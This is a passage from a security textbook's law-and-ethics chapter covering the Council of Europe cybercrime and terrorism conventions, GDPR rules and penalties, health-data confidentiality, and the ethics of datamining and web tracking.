to sell or possess equipment which is used to test a system’s security—if the owner
of the system has given permission for this equipment to be used..
The second group of criminal acts are acts which were previously performed
using paper documents, but where the law should be updated to criminalise the
corresponding acts carried out by using a computer. There are two such acts:
350 12 Law and Ethics

a) Computer based forgery: That is to say input, modification or deletion of data

in order to create something which is presented as a genuine document or similar,
even if it is not.
b) Computer based fraud: That is to say input, modification or deletion of data, or
disturbance of a computer’s operation, which leads to a loss by another party and
an undeserved gain for the fraudster or a third party.
Once again it is a condition that the act is performed on purpose.
The third group of criminal acts are related to the possession of material which
is either illegal in itself or which one does not have the right to possess. This can be:
a) Child pornography: Production, possession, distribution or an offer of distribu-
tion of child pornography by using a computer.
b) Breach of copyright: Unauthorised possession of material which is covered by
copyright or similar forms of protection.
Finally, it must be an offence to help another person in committing any of these
criminal acts, or to encourage another person to perform such an act. Once again the
help or encouragement must be deliberate. A company or other legal person can also
be held responsible for a breach of any of the relevant laws for the benefit of the legal
person or a natural person who has a leading position in the company or similar.
The convention gives the countries which accede to it the duty to introduce
suitable penalties for the criminal acts which are listed in the convention. A “suitable”
penalty is understood as one which is an effective deterrent, and which is reasonable
in relation to the seriousness of the crime.

12.1.2 Which Powers Must Be Available?

Section 2 of Chapter II deals with procedural criminal law. That is to say, it specifies
which powers must be available to the authorities engaged in investigation and pros-
ecution of cybercrime. According to this section of the convention, the authorities
must be able to oblige persons within their jurisdiction to:
a) Preserve and ensure the integrity of data which are stored in a computer, for a
period of up to 90 days. The authorities can, if necessary, keep this preservation
secret, to the extent that the laws of the country involved permit this.
b) Store traffic data for a period of up to 90 days. Traffic data are defined as “any
computer data relating to a communication by means of a computer system, gen-
erated by a computer system that formed a part in the chain of communication,
indicating the communication’s origin, destination, route, time, date, size, dura-
tion, or type of underlying service” and it must be possible for the authorities to
get sufficient traffic data to be able to identify the service providers (telecomms
companies, ISPs or similar), and the path which the communication followed.
c) Provide specified computer data which are stored in the person’s computer or
storage media.
12.1 Computer Crime 351

d) Provide subscriber data for telecomms services which the person offers. Sub-
scriber data involves information, such as the subscriber’s name, address, tele-
phone number, billing information, information on installed communications
equipment etc., which is available on the basis of a service agreement or similar.
In addition, the authorities must be able to search and possibly seize computers
and storage media for computers, take copies of computer data, maintain the integrity
of these computer data and if necessary make computer data inaccessible.
Finally, the authorities must be able to collect in real time, to the extent this is
technically possible, certain data with relation to specific communications within
the authority’s territory. This covers:
a) Collection of traffic data, defined as above.
b) Collection of content data, i.e. the content of the messages which are transmitted.
Collection of such data can be performed by the authorities themselves, or they can
oblige a service provider to perform the task for them.
Especially this part of the convention is somewhat controversial, as collection of
data can be seen as making inroads into citizens’ private lives, and possibly even as a
threat to freedom of expression. Moreover, it makes life difficult for service providers,
who have to install equipment for rapid collection and large-scale storage of data.
In many countries, the laws on the administration of justice allow the authorities
to require the data to be kept for up to 90 days. So if the surveillance in fact lasts
longer than 90 days, the telecomms operator risks having to store 90 days’ traffic.
In a modern, fast telecommunications network this will correspond to a very large
volume of data.
On the other hand, the convention makes clear that the powers which the au-
thorities are granted via Section 2 of the convention’s Chapter II must respect the
individual country’s existing rules for the protection of human rights and liberties,
including “rights arising pursuant to obligations it has undertaken under the 1950
Council of Europe Convention for the Protection of Human Rights and Fundamental
Freedoms, the 1966 United Nations International Covenant on Civil and Political
Rights, and other applicable international human rights instruments”. Typically,
this form of surveillance requires permission from a court of justice.

12.1.3 Jurisdiction

It is in the nature of things that cybercrime can be a cross-border activity, and

therefore it is important to define who it is that has jurisdiction—the right to make
legal decisions—over the crimes listed in the convention. The principal rule is that a
state has jurisdiction over crimes committed in its territory. Furthermore, a country
can decide that its jurisdiction must also cover crimes committed:
• on board a ship, which sails under the flag of that country, or
• on board a plane, which is registered in accordance with the laws of that country,
or
352 12 Law and Ethics

• by a citizen of that country, if the crime is punishable where it was committed, or

if the crime was committed outside the territorial jurisdiction of any state.
Most European countries follow this extended definition of jurisdiction. Certain
countries have in the past gone even further and operated with so-called universal
jurisdiction, according to which one for certain types of crime can claim jurisdiction
independent of where the crime was committed, or the nationality of the assumed
perpetrator. So far, however, there have been no examples of such a claim being made
for cybercrimes.

12.1.4 International Rules in the Convention

Chapter III of the convention describes how states who accede to the convention,
must help one another. There are two important areas where this is necessary:
a) Extradition: If there is no proper extradition treaty between the parties, crimes
which are recognised by both parties, and which carry a maximum penalty of at
least one year’s imprisonment according to the law in both countries, give rise to
a request for extradition of the supposed miscreant. The party which receives the
request can refuse it on the basis of rules in its own law. But if the reason for refusal
is based exclusively on the assumed miscreant’s nationality (typically because the
person concerned is a citizen of that country) or because the country receiving
the request itself claims jurisdiction, then that country must itself prosecute the
assumed miscreant and inform the party which made the request about the result.
This rule is often called the extradite or prosecute rule.
b) Mutual assistance: Parties which accede to the convention must help one another
to the greatest extent possible. This means, for example, that they must preserve
computer data, hand over traffic data or hand over collected computer data. If
they themselves discover anything which could help the authorities in another
country, they must of their own accord give these authorities relevant information
about the discovery, to the extent that their own laws permit this. They can if
necessary demand that this information be kept secret, if public knowledge of
it would hinder investigations being carried out by the party which provides the
information. This party can also make it a condition that the information may
only be used for the purpose specified in the request for assistance.

12.1.5 Anti-terror Laws

Terrorism is considered a special form of crime, and preventing it is the topic of

yet another convention: The Council of Europe’s Treaty 196 on the Prevention of
Terrorism [20]. This convention has up to now (June 2023) been ratified by 41
European countries, with some notable exceptions (Greece, Ireland, Switzerland
12.2 Protection of Personal Data 353

and the United Kingdom). Like the Convention on Cybercrime, the Convention on
the Prevention of Terrorism gives a definition of its topic – terrorism—and sets out
the requirements for what individual countries must include in their laws in order to
live up to the convention’s intentions.
In brief, states who accede to the convention are obliged to define three activities
as crimes:
a) Public provocation to commit a terrorist offence
b) Recruiting for terrorism
c) Training for terrorism
It must furthermore be a crime to help others to perform such activities or to
encourage others to perform them. As in the Convention on Cybercrime, states who
accede to the terrorism convention have the duty to:
• Introduce “suitable” penalties for these crimes
• Follow an “extradite or prosecute” policy
• Cooperate with other states in investigations
• Where appropriate, send of their own accord information about possible crimes
to other countries’ authorities.
• Ensure that any measures introduced in order to combat terrorism respect the
country’s obligations with respect to human rights.
As it is clear that public provocation, recruiting and possibly training can easily
take place through the Internet with the help of computers, it will often be necessary
for the authorities to collect up stored computer data, traffic data and/or the content
of communications, to act as evidence, just as in the case of “ordinary” cybercrime.
In many countries this has led to changes in the criminal law (or the laws governing
the administration of justice) which exceed the changes which follow from accession
to the Convention on Cybercrime. This has made this convention somewhat contro-
versial, especially among civil rights groups and others who are afraid that they are
a step on the way to a “Big Brother” society of constant surveillance.

12.2 Protection of Personal Data

In the large majority of European countries, laws about the protection of personal data
were introduced in response to yet another Council of Europe convention: Treaty 108:
Convention for the Protection of Individuals with regard to Automatic Processing
of Personal Data, published in 1981 and ratified by all the members of the Council
of Europe and acceded to by nine non-members. Within the European Community
(now the European Union), the content of this convention was incorporated in 1995
into a directive, 95/46/EC, which formed the basis of laws in this area in the EU.
An EU directive is, however, a framework which allows member states a good
deal of variation in how they formulate relevant laws in their country. This is unsatis-
factory, as it may lead to different degrees of protection of personal data in different
354 12 Law and Ethics

member states, which potentially hinders the free transfer of such data between these
states, in conflict with EU’s principles of the free movement of goods and services. A
major revision of the directive, incorporating new features, was therefore formulated
as an EU Regulation, a set of rules which have the validity of a law, and come into
force in their entirety in all EU member states at the same time. This regulation,
known as the General Data Protection Regulation[32], or just GDPR for short, came
into force on 25th May 2018.
GDPR, like its predecessors, regulates:
• Wholly or partly automated processing of personal data.
• Non-automated processing of personal data which form part of a filing system or
are intended to form part of a filing system.
Not all types of processing of personal data are covered. In particular, the regulation
does not apply to processing performed by a natural person in the course of purely
personal or household activities. So it does not affect you if, say, you keep a list of
family members with photos and other personal data, as long as you keep the list
on your own computer at home—and not for example on a social media site. Nor
does it apply to processing by competent authorities for the purpose of prevention,
investigation or prosecution of criminal offences.

Definition 12.1 (GDPR terms (Source: [32]))

• Personal data: Any information relating to an identified or identifiable natural
person (a data subject)
• Processing: Any operation or set of operations performed on personal data,
whether or not by automatic means.
• Controller: The natural or legal person, public authority, agency or other body,
which determines the purposes and means of the processing of personal data.
• Processor: A natural or legal person, public authority, agency or other body
which performs the processing on behalf of the controller.
• Recipient: A natural or legal person, public authority, agency or other body, to
which the personal data are disclosed. (With the exception of authorities who
receive such data in an enquiry defined by law.)
• Consent: A freely given, specific, informed and unambiguous indication, by
which the data subject, in a clear affirmative action, signifies agreement to the
processing of personal data related to him or her.
• Personal data breach: A breach of security leading to the accidental or unlawful
destruction, loss, alteration, unauthorised disclosure of, or access to, personal
data which are transmitted, stored or otherwise processed.
• Pseudonymisation: Processing of personal data in such a way that they cannot
be attributed to a specific data subject without using additional information. Such
information must be kept separately and under suitable safeguards.
• Profiling: Automatic processing of personal data to evaluate certain personal
aspects of a natural person, such as the person’s performance at work, economic
situation, health, preferences, interests, behaviour etc.
12.2 Protection of Personal Data 355

12.2.1 Important Concepts

The regulation uses some very specific terms, which turn up in many places in the
text of the regulation and in literature on the topic. Some of the most important ones
are shown in Definition 12.1.

12.2.2 General Rules

Personal data may only be processed if the data subject has given explicit consent to
the processing for one or more specific purposes, or if the processing is necessary:
• For performing a contract which the data subject is a party to (or in preparation
for entering into a contract); or
• For fulfilling a legal obligation which the controller is subject to; or
• For protecting the data subject’s or other natural person’s vital interests; or
• For performing a task in the public interest; or
• For performing a task in the exercise of some official authority which the controller
has been granted; or
• For pursuing the legitimate interests of the controller or a third party, except when
such interests are overridden by fundamental rights which require protection of
personal data, especially if the data subject is a child.
A further set of rules governs the processing of personal data. Data must be
processed lawfully, fairly and in a manner which is transparent to the data subject.
Data may only be collected for specified, explicit and legitimate purposes, and they
must not be further processed in a manner which is incompatible with these purposes.
Further processing for statistical or scientific purposes, or for archiving in the public
interest, is, however, permitted. Data which are processed must be relevant for the
stated purpose and limited to what is necessary for this purpose.
Data must be accurate, and efforts must be made to keep them up to date. Inaccu-
rate or misleading data must be erased or corrected without delay. Data may not be
kept in a form which permits identification of data subjects for longer than is neces-
sary for fulfilling the purposes for which the data are processed. Data may only be
kept for longer periods (again: for statistical or scientific purposes or for archiving in
the public interest) if adequate technical safeguards are in place. All processing must
take place in a manner which ensures appropriate integrity and confidentiality of the
personal data, including protection against unauthorised or unlawful processing and
against accidental loss, destruction or damage.
The GDPR requires the controller to have accountability for all processing of
personal data. This means that it is the controller’s responsibility to ensure that all
processing of personal data complies with the above rules, and controllers must be
able to demonstrate this compliance.
356 12 Law and Ethics

12.2.3 Classes of Personal Data

The GDPR distinguishes between several classes of personal data. The most restric-
tive is the class of sensitive personal data. These are summarised in Definition 12.2.

Definition 12.2 (Sensitive personal data (Source: [32]))

Personal data which reveal:
• Race or ethnic origins
• Political opinions
• Religious or philosophical beliefs
• Trade union membership
• Genetic or biometric data used for identifying a natural person
• Information about health
• Information about a natural person’s sex life or sexual orientation

The basic rule is that sensitive personal data must not be processed at all. But there
are exceptions to this. Processing may be performed if:
a) The data subject has given explicit consent;
b) Processing is necessary for carrying out legal obligations of the controller or data
subject in the field of employment and social security;
c) Processing is necessary for protecting the data subject’s vital interests, but he or
she is unable to give consent;
d) Processing is performed by a foundation, association or other non-profit body
with a political, philosophical, religious or trade union aim, on condition that it
relates solely to the members or former members of the body and the personal
data are not disclosed outside that body without the data subjects’ consent.
e) Processing relates to personal data which the data subject has made public;
f) Processing is necessary for the exercise or defence of legal claims;
g) Processing is necessary for reasons of substantial public interest;
h) Processing is necessary for the purposes of preventive or occupational medicine
and for provision of health or social care;
i) Processing is necessary for reasons of public health, such as protection against
serious cross-border threats to health, or the maintenance of high standards of
quality of treatment;
j) Processing is necessary for archiving in the public interest, for scientific or his-
torical research or for statistical purposes.
It is obvious that some of these exceptions apply particularly to specific types of
sensitive data. For example, exceptions (b) and (d) would be specially relevant for
processing of personal data related to trade union membership, and exceptions (h)
and (i) for processing of health data, whereas exceptions (a), (c), (e), (f), (g) and (j)
could apply to all types of sensitive data.
12.2 Protection of Personal Data 357

Ordinary Personal Data: All personal data other than sensitive data are regarded
as “ordinary” personal data. This may get you to think that just the general rules
from Section 12.2.2 above apply, but this is not in fact the case. Although data about
criminality are considered as ordinary personal data, processing of such data is
regulated by laws other than the GDPR. Moreover, “data related to criminality” is to
be understood in a very broad sense—it includes not just criminal records covering
offences, indictments, and penalties, but also information which reveals that a data
subject is (or has been) a criminal, such as the fact that the subject has an address in
a prison.
National Identification Numbers: In many countries, both in Europe and outside,
national identification numbers of various sorts are used to identify the individual
citizens. Unlike its predecessors, the GDPR does not consider these as being specially
sensitive, even though their misuse can easily lead to identity fraud and similar
criminal activities. Also in this area it is left up to the individual member states to set
the law governing the use of such numbers, both in the public and the private sector.
Pictures and Sounds: Pictures and sound recordings can also be personal data, if
they can be attributed to an identifiable person. But how the pictures or recordings
have to be treated will depend on the purpose for which they are made. If a (pro-
fessional or amateur) photographer takes a photograph of an individual or a small
group of people, the photograph is considered a form of portrait, and it would be
necessary to have the consent of the people who appear in the photograph if the
photograph is to be stored or made public—for example on a web page or social
media site. If the group of people is large and the aim of the photograph is to record
some situation rather than to produce a portrait-like picture, it may be impractical to
get everybody’s consent. Publication may then take place without their consent, as
long as the situation is a lawful one.
A rather different situation arises if the pictures or sounds are recorded by surveil-
lance equipment, such as closed circuit TV. Here you will often not know who it
is that appears in the recording, so obtaining their consent will not be possible. In
such cases, the organisation which sets up the surveillance must have a clear and
lawful purpose for doing so. This means in general terms that they must detail the
types of security incidents that are expected to occur in the area under surveillance,
and for which they wish to use the equipment to deter, prevent, investigate or pros-
ecute as criminal activities. They must also show that there is a good reason for the
surveillance by a well-documented analysis of the risks of these security incidents
occurring [29]. In many countries the local laws also stipulate that recordings pro-
duced by surveillance equipment may only be kept for a relatively short period, such
as 30 days, unless they have to be used by the police in an investigation of a specific
crime.
358 12 Law and Ethics

12.2.4 Transfer of Personal Data to Third Countries

Personal data may as a general rule only be transferred to countries or international

organisations outside the EU (together often known as “safe harbours”) which have
a satisfactory level of protection. It is the EU Commission which decides which
countries and organisations fulfil the necessary requirements. If no such decision
has been made, a controller or processor may only transfer personal data if it obtains
a binding and legally enforceable agreement with the relevant destination to apply
appropriate safeguards, including those that relate to data subjects’ rights.
This rule sounds very clear, but technological developments have led to a situation
where it can be hard to be certain that the rule is obeyed. For example, there are good
economical reasons for storing large amounts of data in a cloud insted of storing them
locally in your own computer system. There are also a large number of companies
which offer cloud storage facilities. But in which country are the cloud’s large disk
stores situated? Depending on the answer to this question, storing personal data in
a cloud, for example by a public authority, a hospital or an ordinary commercial
company, could be illegal. It will only be legal if the provider of the cloud facilities
can guarantee that data is only stored in a country which provides adequate protection
for personal data. The EU Commission has formulated a set of standard contractual
clauses [28], which can be used to ensure that storage and other processing takes
place in accordance with GDPR’s rules.

12.2.5 The Data Subject’s Rights

GDPR gives data subjects a number of rights, based on the principle that a subject’s
personal data belong to the subject, and that the subject therefore should as far
as possible have control over these data. The main rights for data subjects are
summarised in Definition 12.3.
Definition 12.3 (Data subject’s rights (Source: [32]))

• The right to receive information about processing of their personal data, including
the purposes for which they are collected and the responsible controller;
• The right of access to their personal data, including the right to request a copy of
personal data which are being processed;
• The right to have incorrect personal data corrected;
• The right to have personal data erased (the “right to be forgotten”);
• The right to object to having personal data used for direct marketing;
• The right to object to automated decision making based on their personal data;
• The right to move their personal data.

Where the controller provides information to the data subject, this must be done in
an intelligible and easily accessible form, using clear and plain language. This is
particularly important in the case of information addressed to a child.
12.2 Protection of Personal Data 359

The rights and duties listed above can, however, be overruled by important ob-
jectives of public interest, such as national security, defence, public security, the
prevention, investigation and prosecution of criminal offences, execution of criminal
penalties, important economic interests of a member state of the EU, the protection of
judicial independence, the maintenance of ethical standards in regulated professions,
or monitoring, inspection or regulatory functions related to the above activities.

12.2.6 Security of Processing

Natural persons who work for the controller or processor may only process data in
accordance with a documented instruction from the controller, unless other rules are
set by EU or Member State law. All persons authorised to process personal data must
be under an obligation of confidentiality.
The controller must implement suitable technical and organisational measures
to ensure that only personal data which are needed for each specific purpose are
processed.
The controller and processor must implement technical and organisational mea-
sures to ensure an appropriate level of security, including for example:
• Pseudonymisation and encryption of personal data;
• Measures to ensure confidentiality, integrity, availability and resilience of pro-
cessing systems and services;
• Measures to restore the availability and access to personal data in a timely manner
in the event of a security incident;
• A process for regularly testing, assessing and evaluating the effectiveness of the
measures.
The level of security should reflect the risks of accidental or unlawful destruction,
loss, alteration, unauthorised disclosure of or access to personal data which are
transmitted, stored or processed in other ways.
If a particular type of processing is likely to result in a high risk to the rights and
freedoms of natural persons, it is obligatory for the controller to carry out a data
protection impact assessment (DPIA). Reference [8] gives a set of guidelines for
when this is necessary.
The controller has the duty to ensure that the processor can implement suitable
security measures, and also the duty to inform the data subject of any personal data
breach affecting this subject. A natural consequence of these requirements is that
there must be a written contract between the controller and the processor, which
amongst other things specifies the necessary measures, ensures that the processor
will assist the controller in fulfilling its obligations to respond to data subjects’
requests and to demonstrate compliance with the GDPR, and specifies what should
happen to the personal data when processing is completed.
360 12 Law and Ethics

Database

Backup
Server

Network

Fig. 12.2 Are all the necessary security measures in place?

12.2.7 Leakages

In a system like the one shown in Fig. 12.2, it is easy to imagine that protection of the
network’s outer boundaries against traffic penetrating them should be enough to keep
the personal data reassuringly secure. This is unfortunately incorrect. Firstly there
is the possibility that an insider — someone with permission to use the system—
misuses his rights and deliberately discloses, modifies, or deletes some personal
data. And there is also the problem that some software packages which people use
for analysis or presentation of results permit leakages of confidential information,
even if this information is not directly made public.
Typically, this can happen because the files produced by such packages contain
additional data apart from what the user is intended to see in the document being
produced. A package for producing graphs, for example, might store the (possibly
personal) data used to produce the graph. Files used in office packages typically
contain metadata which describe the subject, author and other properties, or even all
the changes made in the document as it is edited. Careful analysis can reveal such
hidden data, which may be confidential.

12.2.8 Authorities

GDPR introduces a number of authorities which play special roles in relation to the
protection of personal data:
• Data Protection Officers (DPOs), at the level of individual public or private
enterprises. The DPO’s main tasks are to inform and advise the controller and
processor, to monitor compliance with the Regulation and to cooperate with the
relevant supervisory authority.
The controller and processor must appoint a DPO if:
12.2 Protection of Personal Data 361

– processing is carried out by a public authority, except courts of justice; or

– the controller’s or processor’s core activity involves regular large-scale moni-
toring of data subjects; or
– The controller’s or processor’s core activity involves large-scale processing of
sensitive personal data or data related to criminal convictions and offences.
In other cases, the appointment of a DPO is optional, unless required by the laws
of the Member State concerned.
• Supervisory Authorities, at the level of the individual EU Member States. Each
Member State must establish at least one public supervisory authority with the
responsibility of monitoring the application of the Regulation. The supervisory
authorities must be provided with adequate resources and must operate in an
manner independent of any external influence. As in the case of the conventions
on Cybercrime and Terrorism, supervisory authorities have a duty of providing
mutual assistance to one another on request.
The supervisory authority has, amongst other things, the powers to carry out
investigations in the form of data protection audits, and to penalise a controller
or processor which acts in breach of the Regulation.
• The European Data Protection Board, at the level of the EU. The Board is a
legal person, composed of the heads of one supervisory authority for each Member
State, together with the European Data Protection Supervisor (see below). The
Board’s main tasks are to ensure consistent application of the Regulation among
Member States and to advise the EU Commission on issues related to protection
of personal data.
• The European Data Protection Supervisor (EDPS), also at the level of the
EU. The EDPS is a post originally created to deal with privacy issues within EU
institutions and bodies, as regulated by the original Data Protection Regulation
(Regulation (EC) 45/2001) from 2001.

12.2.9 Codes of Conduct and Certification

Unlike its predecessors, GDPR does not require controllers to register processing of
personal data with a supervisory authority before processing takes place. In accor-
dance with the requirement for controller accountability, controllers are assumed to
be aware of the Regulation and to be able (where necessary with help from a DPO)
to comply with it. To demonstrate their compliance, controllers can voluntarily seek
certification from an independent certification body which has been approved by a
relevant supervisory authority or a national accreditation body. The certification body
has the power to issue, review and withdraw certifications related to the Regulation.
Groups of controllers with a common area of interest—for example trade associ-
ations or professional bodies— can also seek approval from a supervisory authority
for a code of conduct covering practical aspects of the processing of personal data,
such as how data is to be collected, how the rights of data subjects are to be dealt
with, how specifically childrens’ interests are to be handled, how transfer of personal
362 12 Law and Ethics

data to third countries or international organisations is to be dealt with, and so on.

The supervisory authority has the power to decide whether a proposed code of con-
duct respects the Regulation or not. Note that approval of a code of conduct is not
the same as a certification, as a code of conduct will usually only cover some of the
aspects of the processing which is envisaged.

12.2.10 Legal Responsibility and Penalties

Any person who is harmed by processing in breach of the Regulation has a right
to compensation from the responsible controller. Any person who is harmed by
processing where the processor acts contrary to or in excess of the controller’s
instructions has a similar right to compensation. The extent of the compensation is
decided by the courts.
Controllers who do not comply with the Regulation in important respects risk an
administrative fine determined by the relevant supervisory authority of:
• Up to A C10 000 000 or 2% of the controller’s annual global turnover, if they
amongst other things omit to register all processing of personal data, or omit to
inform data subjects that their personal data have been exposed to a data breach
(i.e. have been improperly disclosed or modified).
• Up to A C20 000 000 or 4% of the controller’s annual global turnover, if they
amongst other things fail to respond within a month to a request from a data
subject, or demand money for providing the data subject with the requested
information, or fail to correct incorrect information, fail to delete information in
accordance with the right to be forgotten, fail to get the data subject’s consent
where this is needed, or continue to process data which should no longer be
processed.
Some countries do not have the concept of an administrative fine in their legal system,
and in such cases the penalty must be decided by the courts.
The idea behind these changes in relation to the old EU Directive is quite clearly
to tighten things up, so that relevant actors will take the protection of personal
data more seriously. This is plainly necessary, as experience shows that otherwise
insufficient effort will be put into the matter. For example, in 1999, four years after
the introduction of the old EU Directive, the International Telecommunication Union
(ITU-T) investigated current practice in e-commerce applications [52]. The results
revealed that personal data were often handled in a very sloppy manner. For example,
only 40% of ITU-T’s members required written consent for disclosure of personal
data to third parties, and only 30% had restrictions on the export of personal data.
Twelve years later, in 2011, the situation was still far from 100% satisfactory, so
tough new measures were obviously needed!
12.3 Protection of Healthcare Data 363

12.3 Protection of Healthcare Data

Health data are considered to be a particularly sensitive form of personal data, and
processing of such data is regulated not only by GDPR, as we have seen above, but
also in many countries by specific laws which regulate the healthcare sector.
In this context it is important to realise that healthcare services collect up many
different sorts of information about people, especially patients. Health IT systems
are used to process large numbers of patient records, X-ray images, video recordings,
DNA profiles, static and dynamic scanning images, biological analysis results (e.g.
of blood or tissue samples) and so on. This information is stored in many places,
including:
• Laboratory systems
• Patient administration systems
• Clinical quality databases
• Medicotechnical equipment
• Laptop computers
• Handheld computers (PDAs)
Nowadays, all clinical processes which a patient is exposed to are typically recorded
in Electronic Patient Records (EPRs) 1. These processes include:
• Investigations of the state of the patient (e.g. blood test, hearing test, electrocar-
diogram, MR scan, biopsy, . . . )
• Diagnosis of what the patient is suffering from (e.g. influenza, poisoning, sciatica,
pulmonary embolism, schizophrenia, . . . )
• Interventions to prevent, improve or cure the condition (e.g. surgery, medicine,
radiation, physiotherapy, diet, psychotherapy, . . . )
• Evaluation of results.
Although the design of EPRs varies from country to country, and even from area to
area within a single country, they generally aim to describe all the steps in treatment
of a patient, typically using internationally standardised codes such as ICD-10 (or,
from 2018, ICD-11), SNOMED-CT, ICPM or ICHI. This means that large parts of
the the content of an EPR are readily understandable by anyone who understands
the codes. So privacy of health data in EPRs requires careful protection against
unauthorised access.

12.3.1 Who Has Access to Health Data?

Access to health data in EPRs is in most countries limited to healthcare workers who
are licensed or have some other type of formal authorisation, such as doctors, dentists,
surgeons, midwives and nurses, or persons without such an license or authorisation,

1 Also known as Electronic Health Records (EHRs) or Electronic Medical Records (EMRs).
364 12 Law and Ethics

such as students, who are working under the supervision of an authorised person. In
general, all such persons have a duty of confidentiality, as required by GDPR.
There are however certain differences from GDPR with respect to the need for
consent. In principle, the patient’s data is typically only accessible to the healthcare
workers who are currently treating the patient, and the data may only be passed
on to another healthcare worker if the patient consents to this. However, situations
can obviously arise where the patient is unable to give consent, for example due
to being unconscious, paralysed, drugged or mentally unfit. The requirement for
explicit consent is then in most countries waived. The result of this can be that the
group of persons who actually have access to the patient’s EPR gets to be quite large.
Even without access to the actual EPR, a patient’s health data may get surprisingly
far from the doctor or hospital where the patient is being treated. For example, many
forms of treatment require the patient to receive medicine which is only available
on prescription. The prescription data need to be sent to a pharmacy, or to be stored
on a common server, where it can be accessed by any pharmacy. Although the EPR
itself is not exposed, the prescription data can reveal many details of the patient’s
health situation. Medical treatment also has to be paid for in one way or another—
either by a public health service or the patients themselves (or the patients’ health
insurance providers) if it is a question of private treatment. This administrative task
will typically involve sending at least a synopsis (a so-called discharge record) of
the treatment to whoever it is that is going to pay. The information in this synopsis
can also reveal many details of the patient’s health situation.
This spreading of health information increases the risk of leaks of the sensitive
data, as people without any direct role in providing health services have technical
access to the data and can misuse them.

12.4 Ethics

Disclosure of personal data, including medical records, is a criminal offence. Many

people also consider it as an unethical act, as it goes against people’s idea that their
private life is something which they would like to keep to themselves. Unfortunately
there are many other acts which go against people’s desire for privacy, but which are
not technically criminal, even if many people consider them unethical.
Figure 12.3 shows an (imaginary) scenario, which illustrates the problem. What
can one conclude from this information which the credit card company has collected?
It is not information which according to the law requires special protection, and Peter
has very probably not thought twice about giving the bank, the insurance company
and the issuer of the card his personal data. But is it ethically defensible to link
them, so an episode in Peter’s life, where he may have an “explanation problem”,
gets revealed?
12.4 Ethics 365

Peter Harrison is a businessman. He is married to Martha and the couple have two
boys, aged 8 and 10.

Peter and Martha use the same bank, but have separate accounts. They are insured
with a company with close connections to their bank. Peter has a credit card which
he got through the bank. The card is in fact issued to his company, and he uses it
frequently. The issuer of the credit card has a database in which all purchases and
services paid with the help of the card are registered.

On 10th. July 2015, Peter Harrison bought some sexy ladies lingerie, size 34. Martha
Harrison’s birthday is 2nd. February, and around that time of year Peter Harrison
often buys women’s clothes of size 42.

Fig. 12.3 Mr. Harrison has an explanation problem

12.4.1 Datamining

Problems of this type have in recent years come more and more out into the open,
as more and more services — both public and commercial – become digitised,
and techniques for datamining become more and more advanced. The basic aim of
datamining is to find patterns in large amounts of data. This can, for example, reveal
deviant behaviour (= unusual patterns) or behaviour which is typical for particular
activities or particular types of people.
As such it can play an important role in fighting certain types of crime, such
as drug dealing, activities by criminal gangs, trafficking, money laundering and
terrorism. In USA, a number of projects related to Homeland Security have used
datamining for this purpose, but at least two of them have subsequently been stopped
as a result of massive breaches of privacy: TIA (Total Information Awareness, stopped
in 2003) and ADVISE (Analysis, Dissemination, Visualization, Insight, and Semantic
Enhancement, stopped in 2007). These projects were both based on the analysis of
huge amounts of data on the entire population, without any consideration of people’s
right to privacy and without legal control.
Edward Snowdon’s disclosure of programs within USA’s National Security
Agency (NSA) indicate that this massive collection of data on ordinary people
continues — and that data from countries outside USA is often included. In Europe
this has given rise to strong reactions, including serious discussion of whether USA’s
status as a safe harbour in relation to laws on the processing of personal data should
be allowed to continue.
One serious problem, seen from outside USA, is that Title V of the US Patriot Act
of 2001 empowers US authorities to demand personal and other data from American
companies and institutions, without this fact being revealed to the persons to whom
these data apply. This is plainly in breach of the GDPR, and has serious implications
in cases where personal data are stored in facilities such as cloud storage run by
American companies, irrespective of where in the world the data are actually stored.
A further bone of contention has been the US Foreign Intelligence Surveillance
Act (FISA), originally enacted in 1978 and amended in 2008. Title VII of this
366 12 Law and Ethics

law empowers the NSA to perform surveillance outside the USA, targeting non-US
citizens, without obtaining approval from a court of justice.
In July 2020, the Court of Justice of the EU (CJEU) decided in the so-called
Schrems II case that the EU-US Safe Harbour arrangement (the “Privacy Shield”)
was inadequate for protecting personal data transferred to USA or to US-owned
companies. As USA is almost certainly not alone in setting their internal require-
ments for security above considerations of privacy, this decision effectively obliges
data controllers to evaluate the level of protection in all cases where data may be
transferred to third countries, and if necessary to use Standard Contractual Clauses
(SCCs) [28] in each and every case, in order to agree on the level of protection to be
applied.
That governments can have an interest in uncovering serious crime, come what
may, is perhaps not specially surprising. But data collection and datamining is also
very widespread in the commercial world. Knowledge of who you are, what you are
interested in, what you purchase and so on can be exploited to provide “intelligent”
suggestions for what information you should be given next, but also to send you
unasked-for advertisements and other messages, which are matched to the individual
recipient. You can easily convince yourself of this by using sales-oriented services
such as Amazon, search machines such as Google, Bing and Yahoo, or social media
such as Facebook or Twitter.
In many cases, this sort of activity is not illegal, as the users themselves give their
consent — either explicitly or implicitly — to the collection of information about
themselves. But it is a matter for discussion, whether it is ethically defensible. Large
collections of information about their customers’ interests and preferences — so-
called customer profiles — are owned by many companies and financial institutions,
and for some of these it gives an extra business opportunity, as the information is
sold to others without the customers’ knowledge. In that way the profiles can migrate
further and further away from the enterprise which originally collected them. This
uncontrolled spreading increases the risk of misuse of the information, for example
for identity theft. This is one of the reasons that GDPR gives all individuals the right
to object to profiling based on their personal data.

12.4.2 Tracking

Another problematic area from an ethical point of view is the collection of informa-
tion about which web pages a user has visited – a technique known as tracking. Just
as in the case of datamining in user information, tracking can be motivated by very
different considerations, such as:
• Combating crime: The authorities can have an interest in knowing whether
particular people visit web pages with jihadi propaganda, information about drugs,
instructions for making bombs or other similar topics.
12.4 Ethics 367

• Optimisation of the communication network: For a supplier of Internet ser-

vices, it can be important to know where the traffic is dense and where it comes
from.
• Optimisation of advertising and sales: For companies which advertise or sell
goods via the Internet, it can be useful to know how many — and preferably also
who — visit web pages with their advertisements or their e-shop.
The first two of these considerations seldom give ethical problems, as the areas
concerned are heavily regulated. The authorities will typically be able to make use
of the possibilities for collecting traffic data and possibly content data which are
permitted by laws on combating cybercrime, as discussed at the start of this chapter.
Suppliers of communication services will typically have logging mechanisms built in
to their communication equipment, so they can monitor the operation of the network.
For enterprises (and others) who want to keep track of how people use their web
pages, the situation is different. It is, for example, an extremely widespread practice
to use HTTP cookies to register users’ activity on web pages. As we have seen in
Chap. 10, this is the preferred technique used in webshops and on other web pages
where the user performs a transaction. But on surprisingly many web pages you
do not just get a cookie from the owner of the web page, but also a large number
of so-called third-party cookies, that come from various other enterprises which
collect up this information in order to use it for profiling for marketing or advertising
purposes.
On web pages which are associated with social media such as Facebook, Twitter
and TikTok, there is an extensive registration of which pages you visit, which Likes
